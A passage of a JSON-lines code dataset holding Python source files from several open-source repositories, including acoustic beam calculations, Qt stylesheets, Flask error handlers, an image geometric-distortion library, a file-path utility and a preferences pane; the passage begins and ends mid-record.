(n+1)*sph_hankel2.subs({'n':n+1,'z':kR})\nAon_denom = I*2*pi*factorial(n+2*mval)*(Aon_denom_hankels)\nAon = Aon_num/Aon_denom\n\nAon_func = lambdify([n,alpha, beta, k,R], Aon, 'sympy')\n\n#%% \nD_factor = lambdify([alpha, beta, k, R], 4*pi/(S*k**2),'sympy')\n\ndef d_zero(A0n, alphav, betav, kv, Rv, Nterms):\n '''\n Parameters\n ----------\n A0n : array-like\n On-axis coefficients\n alphav, betav : float-like < 2*pi\n Cap width and height\n kv : float-like\n Wavenumber\n Rv : float-like\n Radius of sphere\n Nterms : int\n \n Returns\n -------\n final_d_0 : complex number\n\n '''\n front_term = -D_factor(alphav, betav, kv, Rv)\n summation_term = sum([A0n[n_ind]*I**n_ind for n_ind in range(Nterms)])\n return front_term*summation_term\n\n#%%\nif __name__ == '__main__':\n kr_value = 0.1\n kv = 10\n Rv = kr_value/kv\n inputs = {'n':1,'alpha':pi/12,'beta':pi/12, 'k':kv, 'R':Rv}\n Nt = calc_N(inputs)\n Aon_values = [ Aon_func(nn, inputs['alpha'], inputs['beta'], inputs['k'], inputs['R']) for nn in range(Nt)]\n\n", "source": "faroit/bat_beamshapes", "license": "MIT"} {"text": "button_style = \"\"\"\n QPushButton {\n color: rgb(212, 212, 212);\n border: none;\n background-color: rgb(51, 59, 72);\n text-align: center;\n }\n\n QPushButton:hover {\n color: rgb(255,255,255);\n background-color: rgb(63, 73, 89);\n }\n\n QPushButton[Active=true] {\n color: rgb(255,255,255);\n border: none;\n background-color: rgb(27, 29, 35);\n text-align: left;\n padding-left: 45px;\n }\n\n QPushButton:hover {\n color: rgb(255,255,255);\n background-color: rgb(33, 37, 43);\n }\n\n QPushButton:pressed {\n background-color: rgb(230, 126, 125);\n }\n\n \"\"\"\n\nline_style = \"\"\"\n QLineEdit {\n border: none;\n background-color: rgb(49, 54, 68);\n color: rgb(255, 255, 255);\n }\n \"\"\"\n\nversionLabel_style = \"\"\"\n QLabel {\n color: rgb(204, 205, 212);\n }\n \"\"\"\n", "source": "Veirt/PatchFileGen", "license": "MIT"} {"text": "import logging\n\nfrom flask import Blueprint, flash, redirect, render_template, url_for, request\nfrom structlog import wrap_logger\n\nfrom response_operations_social_ui.exceptions.exceptions import ApiError\n\nlogger = wrap_logger(logging.getLogger(__name__))\n\nerror_bp = Blueprint('error_bp', __name__, template_folder='templates/errors')\n\n\n@error_bp.app_errorhandler(ApiError)\ndef api_error(error):\n logger.error(error.message or 'Api failed to retrieve required data',\n url=request.url,\n status_code=500,\n api_url=error.url,\n api_status_code=error.status_code)\n return render_template('errors/500-error.html'), 500\n\n\n@error_bp.app_errorhandler(401)\ndef handle_authentication_error(error):\n logger.warning('Authentication failed')\n flash('Incorrect username or password', category='failed_authentication')\n return redirect(url_for('sign_in_bp.sign_in'))\n\n\n@error_bp.app_errorhandler(Exception)\n@error_bp.app_errorhandler(500)\ndef server_error(error):\n logger.exception('Generic exception generated', exc_info=error, url=request.url, status_code=500)\n return render_template('errors/500-error.html'), 500\n", "source": "ONSdigital/response-operations-social-ui", "license": "MIT"} {"text": "from traits.api import Property, Unicode\n\nfrom .base_template import BaseTemplate\n\n\nclass NotificationListenerTemplate(BaseTemplate):\n\n # ------------------\n # Properties\n # ------------------\n\n #: Factory ID for Workflow\n id = Property(Unicode, depends_on='plugin_id')\n\n #: Gromacs plugin ID for Workflow\n gromacs_plugin_id = Unicode()\n\n #: Gromacs Factory ID for Workflow\n gromacs_id = Property(Unicode, depends_on='gromacs_plugin_id')\n\n # ------------------\n # Listeners\n # ------------------\n\n def _get_id(self):\n return '.'.join([self.plugin_id, \"factory\"])\n\n def _get_gromacs_id(self):\n return '.'.join([self.gromacs_plugin_id, \"factory\"])\n\n # ------------------\n # Public Methods\n # ------------------\n\n def create_hpc_writer_template(self):\n return {\n \"id\": f\"{self.gromacs_id}.hpc_writer\",\n \"model_data\": {\n \"dry_run\": False,\n }\n }\n\n def create_csv_writer_template(self):\n return {\n \"id\": f\"{self.id}.surfactant_csv_writer\",\n \"model_data\": {\n \"dry_run\": False,\n }\n }\n\n def create_template(self):\n return [\n self.create_hpc_writer_template(),\n self.create_csv_writer_template()\n ]\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"} {"text": "from typing import (\n Any,\n Callable,\n Dict,\n Generic,\n Iterable,\n Type,\n TypeVar,\n Union,\n Sequence,\n Tuple,\n Optional,\n)\n\nimport attr\nimport numpy as np\nimport cv2 as cv\n\nfrom vkit.image.type import VImage\nfrom vkit.label.type import (\n VPoint,\n VPointList,\n VPolygon,\n VImageMask,\n VImageScoreMap,\n)\nfrom vkit.augmentation.opt import (\n T_CONFIG,\n handle_config_and_rnd,\n)\n\nfrom .grid_rendering.type import VImageGrid\nfrom .grid_rendering.grid_creator import create_dst_image_grid_and_shift_amounts_and_rescale_ratios\nfrom .grid_rendering.grid_blender import (\n blend_src_to_dst_image,\n blend_src_to_dst_image_score_map,\n blend_src_to_dst_image_mask,\n)\n\nT_STATE = TypeVar('T_STATE')\nT_CALL_FUNC_X_RETURN = TypeVar('T_CALL_FUNC_X_RETURN')\n\n\n@attr.define\nclass GeometricDistortionResult:\n image: VImage\n image_mask: Optional[VImageMask] = None\n image_score_map: Optional[VImageScoreMap] = None\n active_image_mask: Optional[VImageMask] = None\n point: Optional[VPoint] = None\n points: Optional[VPointList] = None\n polygon: Optional[VPolygon] = None\n polygons: Optional[Sequence[VPolygon]] = None\n config: Optional[Any] = None\n state: Optional[Any] = None\n\n\nclass GeometricDistortion(Generic[T_CONFIG, T_STATE, T_CALL_FUNC_X_RETURN]):\n\n def __init__(\n self,\n config_cls: Type[T_CONFIG],\n state_cls: Optional[Type[T_STATE]],\n func_image: Callable[..., VImage],\n func_image_mask: Callable[..., VImageMask],\n func_image_score_map: Callable[..., VImageScoreMap],\n func_active_image_mask: Optional[Callable[..., VImageMask]],\n func_point: Optional[Callable[..., VPoint]],\n func_points: Optional[Callable[..., VPointList]],\n func_polygon: Optional[Callable[..., VPolygon]],\n func_polygons: Optional[Callable[..., Sequence[VPolygon]]],\n ):\n self.config_cls = config_cls\n self.state_cls = state_cls\n\n self.func_image = func_image\n self.func_image_score_map = func_image_score_map\n self.func_image_mask = func_image_mask\n self.func_active_image_mask = func_active_image_mask\n\n self.func_point = func_point\n self.func_points = func_points\n self.func_polygon = func_polygon\n self.func_polygons = func_polygons\n\n def generate_config_and_state_and_image_x_and_shape(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image_x_or_shape: Union[VImage, VImageMask, VImageScoreMap, Tuple[int, int]],\n rnd: Optional[np.random.RandomState] = None,\n ):\n if isinstance(image_x_or_shape, (list, tuple)):\n assert len(image_x_or_shape) == 2\n image_x = None\n shape = image_x_or_shape\n else:\n image_x = image_x_or_shape\n shape = image_x.shape\n\n config, rnd = handle_config_and_rnd(\n self.config_cls,\n config_or_config_generator,\n shape,\n rnd,\n )\n\n state: Optional[T_STATE] = None\n\n if self.state_cls:\n kwargs = {\n 'config': config,\n 'shape': shape,\n }\n if rnd:\n kwargs['rnd'] = rnd\n state = self.state_cls(**kwargs)\n else:\n state = None\n\n return config, state, image_x, shape\n\n def generate_config_and_state(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image_x_or_shape: Union[VImage, VImageMask, VImageScoreMap, Tuple[int, int]],\n rnd: Optional[np.random.RandomState] = None,\n ):\n config, state, _, _ = self.generate_config_and_state_and_image_x_and_shape(\n config_or_config_generator,\n image_x_or_shape,\n rnd,\n )\n return config, state\n\n def generate_config(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image_x_or_shape: Union[VImage, VImageMask, VImageScoreMap, Tuple[int, int]],\n rnd: Optional[np.random.RandomState] = None,\n ):\n config, _, _, _ = self.generate_config_and_state_and_image_x_and_shape(\n config_or_config_generator,\n image_x_or_shape,\n rnd,\n )\n return config\n\n def generate_state(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image_x_or_shape: Union[VImage, VImageMask, VImageScoreMap, Tuple[int, int]],\n rnd: Optional[np.random.RandomState] = None,\n ):\n _, state, _, _ = self.generate_config_and_state_and_image_x_and_shape(\n config_or_config_generator,\n image_x_or_shape,\n rnd,\n )\n return state\n\n def handle_config_and_state_and_rnd(\n self,\n config_or_config_generator,\n state,\n shape,\n rnd,\n ):\n config, rnd = handle_config_and_rnd(\n self.config_cls,\n config_or_config_generator,\n shape,\n rnd,\n )\n\n if self.state_cls:\n if not state:\n kwargs = {\n 'config': config,\n 'shape': shape,\n }\n if rnd:\n kwargs['rnd'] = rnd\n state = self.state_cls(**kwargs)\n else:\n state = None\n\n return config, state, rnd\n\n def call_func_x(\n self,\n func: Callable[..., T_CALL_FUNC_X_RETURN],\n config_or_config_generator,\n state: Optional[T_STATE],\n image_x_name,\n image_x_or_shape,\n rnd,\n **extra_kwargs,\n ) -> T_CALL_FUNC_X_RETURN:\n config, state, image_x, shape = self.generate_config_and_state_and_image_x_and_shape(\n config_or_config_generator,\n image_x_or_shape,\n rnd,\n )\n\n kwargs: Dict[str, Any] = {\n 'config': config,\n }\n\n if image_x_name == 'shape':\n kwargs['shape'] = shape\n else:\n assert image_x\n kwargs[image_x_name] = image_x\n\n if state:\n kwargs['state'] = state\n if rnd:\n kwargs['rnd'] = rnd\n\n kwargs.update(extra_kwargs)\n\n return func(**kwargs)\n\n def distort_image(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image: VImage,\n state: Optional[T_STATE] = None,\n rnd: Optional[np.random.RandomState] = None,\n ):\n return self.call_func_x(\n func=self.func_image,\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_x_name='image',\n image_x_or_shape=image,\n rnd=rnd,\n )\n\n def distort_image_score_map(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image_score_map: VImageScoreMap,\n state: Optional[T_STATE] = None,\n rnd: Optional[np.random.RandomState] = None,\n ):\n return self.call_func_x(\n func=self.func_image_score_map,\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_x_name='image_score_map',\n image_x_or_shape=image_score_map,\n rnd=rnd,\n )\n\n def distort_image_mask(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image_mask: VImageMask,\n state: Optional[T_STATE] = None,\n rnd: Optional[np.random.RandomState] = None,\n ):\n return self.call_func_x(\n func=self.func_image_mask,\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_x_name='image_mask',\n image_x_or_shape=image_mask,\n rnd=rnd,\n )\n\n def get_active_image_mask(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image: VImage,\n state: Optional[T_STATE] = None,\n rnd: Optional[np.random.RandomState] = None,\n ):\n if self.func_active_image_mask:\n return self.call_func_x(\n func=self.func_active_image_mask,\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_x_name='image',\n image_x_or_shape=image,\n rnd=rnd,\n )\n\n else:\n image_mask = VImageMask.from_shape(image.height, image.width)\n image_mask.mat.fill(1)\n return self.distort_image_mask(\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_mask=image_mask,\n rnd=rnd,\n )\n\n def distort_point(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image_x_or_shape: Union[VImage, VImageMask, VImageScoreMap, Tuple[int, int]],\n point: VPoint,\n state: Optional[T_STATE] = None,\n rnd: Optional[np.random.RandomState] = None,\n ):\n if self.func_point:\n return self.call_func_x(\n func=self.func_point,\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_x_name='shape',\n image_x_or_shape=image_x_or_shape,\n rnd=rnd,\n point=point,\n )\n\n elif self.func_points:\n new_points = self.call_func_x(\n func=self.func_points,\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_x_name='shape',\n image_x_or_shape=image_x_or_shape,\n rnd=rnd,\n points=[point],\n )\n return new_points[0]\n\n else:\n raise RuntimeError('Neither func_point nor func_points is provided.')\n\n def distort_points(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image_x_or_shape: Union[VImage, VImageMask, VImageScoreMap, Tuple[int, int]],\n points: Union[VPointList, Iterable[VPoint]],\n state: Optional[T_STATE] = None,\n rnd: Optional[np.random.RandomState] = None,\n ):\n points = VPointList(points)\n\n if self.func_points:\n return self.call_func_x(\n func=self.func_points,\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_x_name='shape',\n image_x_or_shape=image_x_or_shape,\n rnd=rnd,\n points=points,\n )\n\n elif self.func_point:\n # NOTE: config_generator will only be called once.\n config, state = self.generate_config_and_state(\n config_or_config_generator=config_or_config_generator,\n image_x_or_shape=image_x_or_shape,\n rnd=rnd,\n )\n\n new_points = VPointList()\n for point in points:\n new_point = self.distort_point(\n config_or_config_generator=config,\n image_x_or_shape=image_x_or_shape,\n point=point,\n state=state,\n rnd=rnd,\n )\n new_points.append(new_point)\n return new_points\n\n else:\n raise RuntimeError('Neither func_point nor func_points is provided.')\n\n def distort_polygon(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image_x_or_shape: Union[VImage, VImageMask, VImageScoreMap, Tuple[int, int]],\n polygon: VPolygon,\n state: Optional[T_STATE] = None,\n rnd: Optional[np.random.RandomState] = None,\n ):\n if self.func_polygon:\n return self.call_func_x(\n func=self.func_polygon,\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_x_name='shape',\n image_x_or_shape=image_x_or_shape,\n rnd=rnd,\n polygon=polygon,\n )\n\n elif self.func_polygons:\n new_polygons = self.call_func_x(\n func=self.func_polygons,\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_x_name='shape',\n image_x_or_shape=image_x_or_shape,\n rnd=rnd,\n polygons=[polygon],\n )\n return new_polygons[0]\n\n elif self.func_points:\n new_points = self.distort_points(\n config_or_config_generator=config_or_config_generator,\n image_x_or_shape=image_x_or_shape,\n points=polygon.points,\n state=state,\n rnd=rnd,\n )\n return VPolygon(points=new_points)\n\n elif self.func_point:\n # NOTE: config_generator will only be called once.\n config, state = self.generate_config_and_state(\n config_or_config_generator=config_or_config_generator,\n image_x_or_shape=image_x_or_shape,\n rnd=rnd,\n )\n\n new_points = VPointList()\n for point in polygon.points:\n new_point = self.distort_point(\n config_or_config_generator=config,\n image_x_or_shape=image_x_or_shape,\n point=point,\n state=state,\n rnd=rnd,\n )\n new_points.append(new_point)\n\n return VPolygon(points=new_points)\n\n else:\n raise RuntimeError('No valid function.')\n\n def distort_polygons(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image_x_or_shape: Union[VImage, VImageMask, VImageScoreMap, Tuple[int, int]],\n polygons: Iterable[VPolygon],\n state: Optional[T_STATE] = None,\n rnd: Optional[np.random.RandomState] = None,\n ):\n if self.func_polygons:\n return self.call_func_x(\n func=self.func_polygons,\n config_or_config_generator=config_or_config_generator,\n state=state,\n image_x_name='shape',\n image_x_or_shape=image_x_or_shape,\n rnd=rnd,\n polygons=polygons,\n )\n\n else:\n # NOTE: config_generator will only be called once.\n config, state = self.generate_config_and_state(\n config_or_config_generator=config_or_config_generator,\n image_x_or_shape=image_x_or_shape,\n rnd=rnd,\n )\n\n new_polygons = []\n for polygon in polygons:\n new_polygon = self.distort_polygon(\n config_or_config_generator=config,\n image_x_or_shape=image_x_or_shape,\n polygon=polygon,\n state=state,\n rnd=rnd,\n )\n new_polygons.append(new_polygon)\n\n return new_polygons\n\n def distort(\n self,\n config_or_config_generator: Union[T_CONFIG,\n Callable[[Tuple[int, int], np.random.RandomState],\n T_CONFIG]],\n image: VImage,\n image_mask: Optional[VImageMask] = None,\n image_score_map: Optional[VImageScoreMap] = None,\n point: Optional[VPoint] = None,\n points: Optional[VPointList] = None,\n polygon: Optional[VPolygon] = None,\n polygons: Optional[Iterable[VPolygon]] = None,\n get_active_image_mask: bool = False,\n get_config: bool = False,\n get_state: bool = False,\n rnd: Optional[np.random.RandomState] = None,\n ):\n config, state = self.generate_config_and_state(\n config_or_config_generator,\n image,\n rnd,\n )\n result = GeometricDistortionResult(\n image=self.distort_image(\n config,\n image,\n state=state,\n rnd=rnd,\n )\n )\n if image_mask:\n result.image_mask = self.distort_image_mask(\n config,\n image_mask,\n state=state,\n rnd=rnd,\n )\n if image_score_map:\n result.image_score_map = self.distort_image_score_map(\n config,\n image_score_map,\n state=state,\n rnd=rnd,\n )\n if point:\n result.point = self.distort_point(\n config,\n image,\n point,\n state=state,\n rnd=rnd,\n )\n if points:\n result.points = self.distort_points(\n config,\n image,\n points,\n state=state,\n rnd=rnd,\n )\n if polygon:\n result.polygon = self.distort_polygon(\n config,\n image,\n polygon,\n state=state,\n rnd=rnd,\n )\n if polygons:\n result.polygons = self.distort_polygons(\n config,\n image,\n polygons,\n state=state,\n rnd=rnd,\n )\n if get_active_image_mask:\n result.active_image_mask = self.get_active_image_mask(\n config,\n image,\n state=state,\n rnd=rnd,\n )\n if get_config:\n result.config = config\n if get_state:\n result.state = state\n return result\n\n\nclass StateImageGridBased:\n\n def __init__(self, src_image_grid: VImageGrid, point_projector):\n self.src_image_grid = src_image_grid\n self.point_projector = point_projector\n\n (\n self.dst_image_grid,\n (self.shift_amount_y, self.shift_amount_x),\n (self.rescale_ratio_y, self.rescale_ratio_x),\n ) = create_dst_image_grid_and_shift_amounts_and_rescale_ratios(\n self.src_image_grid,\n self.point_projector,\n rescale_as_src=False,\n )\n\n def shift_and_rescale_point(self, point: VPoint):\n return VPoint(\n y=(point.y - self.shift_amount_y) * self.rescale_ratio_y,\n x=(point.x - self.shift_amount_x) * self.rescale_ratio_x,\n )\n\n\ndef geometric_distortion_image_grid_based_image(config, state, image):\n return blend_src_to_dst_image(\n image,\n state.src_image_grid,\n state.dst_image_grid,\n )\n\n\ndef geometric_distortion_image_grid_based_image_score_map(config, state, image_score_map):\n return blend_src_to_dst_image_score_map(\n image_score_map,\n state.src_image_grid,\n state.dst_image_grid,\n )\n\n\ndef geometric_distortion_image_grid_based_image_mask(config, state, image_mask):\n return blend_src_to_dst_image_mask(image_mask, state.src_image_grid, state.dst_image_grid)\n\n\ndef geometric_distortion_image_grid_based_active_image_mask(config, state, image):\n border_polygon = state.dst_image_grid.generate_border_polygon()\n return VImageMask.from_shape_and_polygons(\n state.dst_image_grid.image_height,\n state.dst_image_grid.image_width,\n [border_polygon],\n )\n\n\ndef geometric_distortion_image_grid_based_point(\n config,\n state: StateImageGridBased,\n shape,\n point: VPoint,\n):\n src_image_grid = state.src_image_grid\n dst_image_grid = state.dst_image_grid\n\n assert src_image_grid.grid_size\n polygon_row = point.y // src_image_grid.grid_size\n polygon_col = point.x // src_image_grid.grid_size\n\n src_polygon = src_image_grid.generate_polygon(polygon_row, polygon_col)\n dst_polygon = dst_image_grid.generate_polygon(polygon_row, polygon_col)\n\n trans_mat = cv.getPerspectiveTransform(\n src_polygon.to_np_array().astype(np.float32),\n dst_polygon.to_np_array().astype(np.float32),\n cv.DECOMP_SVD,\n )\n dst_tx, dst_ty, dst_t = np.matmul(trans_mat, (point.x, point.y, 1.0))\n return VPoint(\n y=dst_ty / dst_t,\n x=dst_tx / dst_t,\n )\n\n\nclass GeometricDistortionImageGridBased(\n GeometricDistortion[T_CONFIG, T_STATE, T_CALL_FUNC_X_RETURN]\n):\n\n def __init__(\n self,\n config_cls: Type[T_CONFIG],\n state_cls: Type[T_STATE],\n func_image: Callable[..., VImage] = geometric_distortion_image_grid_based_image,\n func_image_mask: Callable[...,\n VImageMask] = geometric_distortion_image_grid_based_image_mask,\n func_image_score_map: Callable[\n ..., VImageScoreMap] = geometric_distortion_image_grid_based_image_score_map,\n func_active_image_mask: Optional[Callable[\n ..., VImageMask]] = geometric_distortion_image_grid_based_active_image_mask,\n func_point: Optional[Callable[..., VPoint]] = geometric_distortion_image_grid_based_point,\n func_points: Optional[Callable[..., VPointList]] = None,\n func_polygon: Optional[Callable[..., VPolygon]] = None,\n func_polygons: Optional[Callable[..., Sequence[VPolygon]]] = None,\n ):\n assert issubclass(state_cls, StateImageGridBased)\n super().__init__(\n config_cls=config_cls,\n state_cls=state_cls,\n func_image=func_image,\n func_image_mask=func_image_mask,\n func_image_score_map=func_image_score_map,\n func_active_image_mask=func_active_image_mask,\n func_point=func_point,\n func_points=func_points,\n func_polygon=func_polygon,\n func_polygons=func_polygons,\n )\n\n\ndef debug_geometric_distortion(\n tag: str,\n geometric_distortion: GeometricDistortion[T_CONFIG, T_STATE, Any],\n config: T_CONFIG,\n src_polygon: VPolygon,\n folder: str,\n src_image_name: str,\n) -> Optional[T_STATE]:\n from vkit.image.type import VImage\n\n from vkit.label.visualization import (\n visualize_image_mask,\n visualize_image_score_map,\n visualize_polygons,\n )\n\n src_image = VImage.from_file(f'{folder}/{src_image_name}')\n\n # Test distort_image.\n state = geometric_distortion.generate_state(config, src_image)\n dst_image = geometric_distortion.distort_image(config, src_image, state=state)\n dst_image.to_file(f'{folder}/{tag}-dst-image.png')\n\n # Test distort_image_mask.\n src_image_mask = VImageMask.from_image_and_polygons(src_image, [src_polygon])\n visualize_image_mask(src_image_mask).to_file(f'{folder}/{tag}-src-image-mask.png')\n\n dst_image_mask = geometric_distortion.distort_image_mask(config, src_image_mask, state=state)\n visualize_image_mask(dst_image_mask).to_file(f'{folder}/{tag}-dst-image-mask.png')\n\n # Test get_active_image_mask.\n active_image_mask = geometric_distortion.get_active_image_mask(config, src_image, state=state)\n visualize_image_mask(active_image_mask).to_file(f'{folder}/{tag}-active-image-mask.png')\n\n # Test distort_image_score_map.\n src_image_score_map = VImageScoreMap.from_image_and_polygon_value_pairs(\n src_image,\n [(src_polygon, 1.0)],\n )\n visualize_image_score_map(src_image_score_map).to_file(f'{folder}/{tag}-src-score-map.png')\n\n dst_image_score_map = geometric_distortion.distort_image_score_map(\n config, src_image_score_map, state=state\n )\n assert dst_image_score_map.mat.max() == 1.0\n visualize_image_score_map(dst_image_score_map).to_file(f'{folder}/{tag}-dst-score-map.png')\n\n # Test distort_polygons.\n visualize_polygons(src_image, [src_polygon]).to_file(f'{folder}/{tag}-src-polygon.png')\n\n dst_polygons = geometric_distortion.distort_polygons(\n config, src_image, [src_polygon], state=state\n )\n visualize_polygons(dst_image, dst_polygons).to_file(f'{folder}/{tag}-dst-polygon.png')\n\n return state\n", "source": "Yuri-x/vkit", "license": "Apache-2.0"} {"text": "from __future__ import annotations\n\nimport os\nfrom typing import Any, Union, Type, TYPE_CHECKING\nimport pathlib\n\nfrom send2trash import send2trash\n\nfrom maybe import Maybe\nfrom subtypes import Enum\n\nif TYPE_CHECKING:\n from .file import File\n from .dir import Dir\n\nPathLike = Union[str, os.PathLike, pathlib.Path]\n\n\n# TODO: Implement IfExists.COPY behaviour\n\n\ndef is_running_in_ipython() -> bool:\n try:\n assert __IPYTHON__ # type: ignore\n return True\n except (NameError, AttributeError):\n return False\n\n\nclass Settings:\n \"\"\"A Settings class for Path objects. Holds the constructors that Path objects will use when they need to instanciate relatives, as well as controlling other aspects of behaviour.\"\"\"\n\n def __init__(self, if_exists: Path.IfExists = None, lazy_instanciation: bool = None, file_class: Type[File] = None, dir_class: Type[Dir] = None) -> None:\n self.if_exists, self.lazy, self.file_class, self.dir_class = if_exists, lazy_instanciation, file_class, dir_class\n self._apply_default_settings()\n\n def __repr__(self) -> str:\n return f\"{type(self).__name__}({', '.join([f'{attr}={repr(val)}' for attr, val in self.__dict__.items() if not attr.startswith('_')])})\"\n\n def _apply_default_settings(self) -> None:\n if self.if_exists is None:\n self.if_exists = Path.IfExists.FAIL\n\n if self.lazy is None:\n self.lazy = not is_running_in_ipython()\n\n if self.file_class is None:\n from .file import File\n self.file_class = File\n\n if self.dir_class is None:\n from .dir import Dir\n self.dir_class = Dir\n\n\nclass Path(os.PathLike):\n \"\"\"Abstract Base Class from which 'File' and 'Dir' objects derive.\"\"\"\n\n class IfExists(Enum):\n FAIL, ALLOW, MAKE_COPY = \"fail\", \"allow\", \"make_copy\"\n\n __subclasshook__ = object.__subclasshook__ # type:ignore\n\n Settings = Settings\n\n settings: Settings\n _path: pathlib.Path\n\n def __init__(self, *args: Any, **kwargs: Any):\n raise TypeError(f\"Cannot instanciate object of abstract type {type(self).__name__}. Please instanciate one of its subclasses.\")\n\n def __str__(self) -> str:\n return str(self.path)\n\n def __fspath__(self) -> str:\n return str(self)\n\n def __hash__(self) -> int:\n return id(self)\n\n def __eq__(self, other: Any) -> bool:\n return bool(os.fspath(self) == os.fspath(other))\n\n def __ne__(self, other: Any) -> bool:\n return bool(os.fspath(self) != os.fspath(other))\n\n def __lt__(self, other: Any) -> bool:\n return os.fspath(other) in os.fspath(self)\n\n def __le__(self, other: Any) -> bool:\n return os.fspath(self) == os.fspath(other) or os.fspath(other) in os.fspath(self)\n\n def __gt__(self, other: Any) -> bool:\n return os.fspath(self) in os.fspath(other)\n\n def __ge__(self, other: Any) -> bool:\n return os.fspath(self) == os.fspath(other) or os.fspath(self) in os.fspath(other)\n\n @property\n def path(self) -> pathlib.Path:\n return self._path\n\n @property\n def stat(self) -> os.stat_result:\n return os.stat(str(self))\n\n def resolve(self) -> Path:\n return type(self)(self.path.resolve(), settings=self.settings)\n\n def trash(self) -> Path:\n \"\"\"Move this object's mapped path to your OS' implementation of a recycling bin. The object will persist and may still be used.\"\"\"\n send2trash(str(self))\n return self\n\n @classmethod\n def from_pathlike(cls, pathlike: PathLike, settings: Settings = None) -> Path:\n return pathlike if isinstance(pathlike, cls) else cls(path=pathlike, settings=settings)\n\n def _validate(self, path: PathLike) -> None:\n if self == (path := os.path.abspath(path)):\n raise FileExistsError(f\"Path '{path}' is already this {type(self).__name__}'s path. Cannot copy or move a {type(self).__name__} to its own path.\")\n else:\n if os.path.exists(path):\n if self.settings.if_exists == self.IfExists.ALLOW:\n pass\n elif self.settings.if_exists == self.IfExists.MAKE_COPY:\n raise NotImplementedError\n elif self.settings.if_exists == self.IfExists.FAIL:\n raise PermissionError(f\"Path '{path}' already exists and current setting is '{self.settings.if_exists}'. To change this behaviour change the '{type(self).__name__}.settings.if_exists' attribute.\")\n else:\n self.IfExists(self.settings.if_exists)\n\n @staticmethod\n def _prepare_dir_if_not_exists(path: PathLike) -> None:\n pathlib.Path(os.path.abspath(path)).mkdir(parents=True, exist_ok=True)\n\n @staticmethod\n def _prepare_file_if_not_exists(path: PathLike) -> None:\n path = os.path.abspath(path)\n Path._prepare_dir_if_not_exists(os.path.dirname(path))\n\n try:\n with open(path, \"a\"):\n pass\n except PermissionError as ex:\n if not pathlib.Path(path).is_file():\n raise ex\n\n @staticmethod\n def _clean_extension(extension: str) -> str:\n return f\".{extension.strip('.')}\" if extension is not None else ''\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from django.conf import settings\n\nfrom posthog.redis import get_client\n\n\ndef reload_plugins_on_workers():\n get_client().publish(settings.PLUGINS_RELOAD_PUBSUB_CHANNEL, \"reload!\")\n", "source": "dorucioclea/posthog", "license": "MIT"} {"text": "# (C) Copyright 2007-2019 Enthought, Inc., Austin, TX\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n# Enthought library imports.\nfrom apptools.preferences.api import IPreferences, PreferencesHelper\nfrom traits.api import Callable, Dict, HasTraits, Instance, Str\nfrom traitsui.api import Controller\n\n\nclass PreferencesPane(Controller):\n \"\"\" A panel for configuring application preferences.\n \"\"\"\n\n #### 'Controller' interface ###############################################\n\n # The preferences helper for which this pane is a view.\n model = Instance(PreferencesHelper)\n\n #### 'PreferencesPane' interface ##########################################\n\n # An identifier for the pane (unique within a category).\n id = Str\n\n # The ID of the category in which to place the pane.\n category = Str('General')\n\n # The pane appears after the pane with this ID.\n before = Str\n\n # The pane appears after the pane with this ID.\n after = Str\n\n # The preferences dialog to which the pane belongs. Set by the framework.\n dialog = Instance(\n 'envisage.ui.tasks.preferences_dialog.PreferencesDialog')\n\n # # The factory to use for creating the preferences model object, of form:\n # callable(**traits) -> PreferencesHelper\n # If not specified, the preferences helper must be supplied manually.\n model_factory = Callable\n\n #### Private interface ####################################################\n\n _model = Instance(PreferencesHelper)\n\n ###########################################################################\n # 'HasTraits' interface.\n ###########################################################################\n\n def trait_context ( self ):\n \"\"\" Re-implemented to use a copy of the model that is not connected to\n the preferences node.\n \"\"\"\n if self.model is None:\n if self.model_factory is not None:\n preferences = self.dialog.application.preferences\n self.model = self.model_factory(preferences = preferences)\n else:\n raise ValueError('A preferences pane must have a model!')\n\n self._model = self.model.clone_traits()\n self._model.preferences = None\n return { 'object': self._model, 'controller': self, 'handler': self }\n\n ###########################################################################\n # 'Handler' interface.\n ###########################################################################\n\n def apply(self, info=None):\n \"\"\" Handles the Apply button being clicked.\n \"\"\"\n trait_names = list(filter(self._model._is_preference_trait,\n self._model.trait_names()))\n self.model.copy_traits(self._model, trait_names)\n\n def close(self, info, is_ok):\n \"\"\" Handles the 